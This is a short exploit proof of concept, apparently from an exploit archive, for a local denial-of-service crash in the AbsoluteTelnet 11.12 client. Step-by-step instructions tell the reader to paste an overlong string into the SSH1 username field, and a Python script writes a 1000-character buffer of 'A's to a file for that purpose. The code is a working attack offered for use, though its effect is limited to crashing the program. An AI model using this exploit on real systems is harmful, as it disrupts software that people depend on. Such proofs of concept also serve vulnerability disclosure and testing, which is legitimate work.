# Exploit Title: AbsoluteTelnet 11.12 - 'SSH1/username' Denial of Service (PoC)# Discovery by: chuyreds# Discovery Date: 2020-05-02# Vendor Homepage: https://www.celestialsoftware.net/# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe# Tested Version: 11.12# Vulnerability Type: Denial of Service (DoS) Local# Tested on OS: Windows 10 Pro x64 es# Steps to produce the crash:# 1.- Run python code: AbsoluteTelnet 11.12_username_ssh1.py# 2.- Open absolutetelnet_username_SSH1.txt and copy content to clipboard# 3.- Open AbsoluteTelnet# 4.- Select "new connection file", "Connection", "SSH1", "Use last username"# 5.- In "username" field paste Clipboard# 6.- Select "OK"# 7.- Crashed
buffer = "\x41"* 1000
f = open ("absolutetelnet_username_SSH1.txt","w")
f.write(buffer)
f.close()